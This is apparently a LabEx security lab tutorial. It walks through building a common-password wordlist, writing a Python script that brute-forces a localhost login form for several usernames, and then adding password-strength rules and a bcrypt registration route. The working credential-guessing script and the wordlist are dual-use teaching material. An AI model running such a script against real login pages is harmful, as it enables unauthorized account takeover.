Cracking Website Passwords Using Python

PythonPythonBeginner
Practice Now

Introduction

In this lab, you will take on the role of a security researcher tasked with testing the password security of a web application. You will explore the vulnerabilities of weak passwords and learn techniques used to crack them. This hands-on experience will provide insights into both offensive techniques and the importance of robust defensive measures in cybersecurity.

Exploring the Target Website

In this step, we will gather information about our target website, a crucial first phase in any security assessment.

  1. Open your web browser and navigate to http://localhost:8080/. You can access this by clicking on the Web 8080 tab in the LabEx environment.
alt text

Note: In the LabEx virtual machine, the web server operates on a temporary public network. This means the domain name you see may not be "localhost" but an actual accessible domain. This is normal and does not affect the lab exercise.

  1. Carefully examine the login form. Take note of the following:

    • The site requires both a username and a password.
    • There are no visible clues about valid usernames or password requirements.
  2. Attempt to log in using a few random combinations of usernames and passwords. For example:

    • Username: test, Password: password123
    • Username: admin, Password: admin
    • Username: user, Password: 12345

You should receive an "Invalid username or password" message for each attempt.

  1. Based on your observations, we can make some educated guesses about the login system:
    • It doesn't reveal whether a username exists or not. This is a good security practice as it doesn't give away information about valid accounts.
    • There's no apparent limit on the number of login attempts. In a real-world scenario, this could be a vulnerability, allowing for unlimited password guessing.

This initial reconnaissance helps us understand the system we're dealing with and informs our next steps in attempting to crack the passwords.

Creating a Password Dictionary

Now that we've gathered information about the login system, we'll create a dictionary of potential passwords. This is a common technique used in password cracking attempts.

  1. Open the terminal on the Desktop.
alt text
  1. In the terminal, enter the following command to create and populate the passwords.txt file:
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

This command uses a technique called a "here document" in bash. It allows us to create a file with multiple lines of text in a single command. Here's how it works:

  • cat << EOF > filename: This tells the system to take all the text up until it sees "EOF" (End Of File) and write it to the specified filename.
  • The text between the first EOF and the second EOF is the content that will be written to the file.
  • The final EOF marks the end of the text to be written.

After running this command, you'll have created a file named passwords.txt in the ~/project/password_lab/ directory, containing a list of commonly used (and therefore weak) passwords.

In a real-world scenario, attackers might use much larger dictionaries, often containing millions of passwords. These could include:

  • Commonly used passwords
  • Words from multiple languages
  • Variations of words (e.g., "password1", "p@ssword", "password123")
  • Leaked passwords from previous data breaches

Creating and using such dictionaries for unauthorized access is illegal and unethical. We're using this small dictionary for educational purposes only, to understand how these attacks work and how to defend against them.

Writing the Password Cracking Script

With our password dictionary in place, we'll now create a Python script to automate the process of testing these passwords against our target website.

  1. Open the terminal on the Desktop if it's not already open.

  2. Enter the following command to open a new file named password_cracker.py in the nano text editor:

nano ~/project/password_lab/password_cracker.py
  1. Copy and paste the following Python code into the nano editor:
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. Save the file and exit nano by pressing Ctrl+X, then Y, and finally Enter.

Let's break down what this script does:

  • The crack_password function:

    • Takes a username and a list of passwords as input.
    • For each password, it sends a POST request to the login page with the username and password.
    • If the response contains "Login successful!", it prints a success message.
    • Otherwise, it prints a failure message.
    • It includes a small delay (0.1 seconds) between attempts to avoid overwhelming the server.
  • The main function:

    • Defines a list of common usernames to try.
    • Reads the passwords from our passwords.txt file.
    • For each username, it calls crack_password with the list of passwords.

This script automates the process of trying many username and password combinations, similar to how an attacker might approach breaking into a system. However, it's important to note that using such techniques without permission is illegal and unethical. We're using this for educational purposes only, to understand how these attacks work and how to defend against them.

Running the Password Cracking Script

Now that we have our password cracking script, we'll run it and analyze the results.

  1. In the terminal, navigate to the directory containing our script:
cd ~/project/password_lab
  1. Run the script with the following command:
python password_cracker.py
  1. Watch the output carefully. The script will attempt to crack the passwords for several common usernames. You should see output similar to this:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
  1. Analyze the output:
    • Which passwords were successfully cracked?
    • For which usernames?
    • How many attempts were needed before finding a correct password?
    • Why do you think some passwords were cracked while others weren't?

This exercise demonstrates how weak passwords can be easily guessed using common words or patterns. In this case, "admin" with the password "supersecret123" was vulnerable to our dictionary attack.

It's crucial to understand that while this script was successful in this controlled environment, attempting to use such techniques against real systems without explicit permission is illegal and unethical. This knowledge should be used to understand vulnerabilities and improve security, not to exploit systems.

Improving Password Security

Now that we've successfully cracked some passwords, let's implement better password policies to prevent such attacks.

  1. Open the WebIDE Tab in the LabEx VM. WebIDE is a web-based integrated development environment that allows you to write, run, and debug code directly in your browser. It's similar to the VS Code editor but runs in the browser. WebIDE is suitable for editing longer code files.
alt text
  1. In the file explorer on the left side of the screen, click on the app.py file to open it in the editor.
  2. Add the following function after the users dictionary to implement password strength checks:
import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
alt text

This function checks if a password:

  • Is at least 12 characters long
  • Contains at least one uppercase letter
  • Contains at least one lowercase letter
  • Contains at least one digit
  • Contains at least one special character
  1. Now, add a new route for user registration that implements this password policy. Add this code block before the if __name__ == '__main__': line:
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
alt text

This code creates a new route for user registration. It checks if the submitted password meets our strong password criteria before creating a new user.

  1. Save the changes in the WebIDE.
  2. Now, let's restart the Flask application to apply these changes. Open a terminal and run:
pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. Navigate to the Web 8080 tab, and add /register to the URL to access the new registration form:
alt text
  1. Try to register a new account with a weak password (e.g., "password123"). Observe how the application enforces the new password policy.

  2. Now, register a new account with a strong password that meets all the criteria. For example:

    • Username: labex
    • Password: S3cureP@ssw0rd-2024

    This password meets all our requirements: it's over 12 characters long, contains uppercase and lowercase letters, numbers, and special characters.

  3. After successfully registering, let's test our password cracking script against this new, strong password. Modify the password_cracker.py script:

    • Open the terminal and enter:
    nano ~/project/password_lab/password_cracker.py
    • Find the line that says usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    • Replace it with usernames = ['labex']
  4. Run the modified script:

python ~/project/password_lab/password_cracker.py

Observe that the script fails to crack the new, strong password. This demonstrates the effectiveness of implementing strong password policies.

Summary

In this lab, you've experienced the process of ethical hacking and password security testing. Here's a recap of what you've accomplished:

  1. Reconnaissance: You explored a login page, gathering information about its behavior and potential vulnerabilities. This step mimics how a security researcher or attacker might begin their investigation of a target system.
  2. Password Dictionary Creation: You created a list of common passwords, simulating the dictionaries used in real-world password cracking attempts. This highlighted the vulnerability of using common or weak passwords.
  3. Automated Password Cracking: You wrote and executed a Python script to automate the process of testing multiple username and password combinations. This demonstrated how attackers might approach breaking into a system and the speed at which weak passwords can be compromised.
  4. Analysis of Results: You ran your password cracking script and analyzed the results, understanding which passwords were vulnerable and why. This step emphasized the importance of using strong, unique passwords.
  5. Implementing Security Measures: Finally, you improved the security of the web application by implementing strong password policies and a secure registration system. This showed how proper security measures can effectively prevent common attacks.

Other Python Tutorials you may like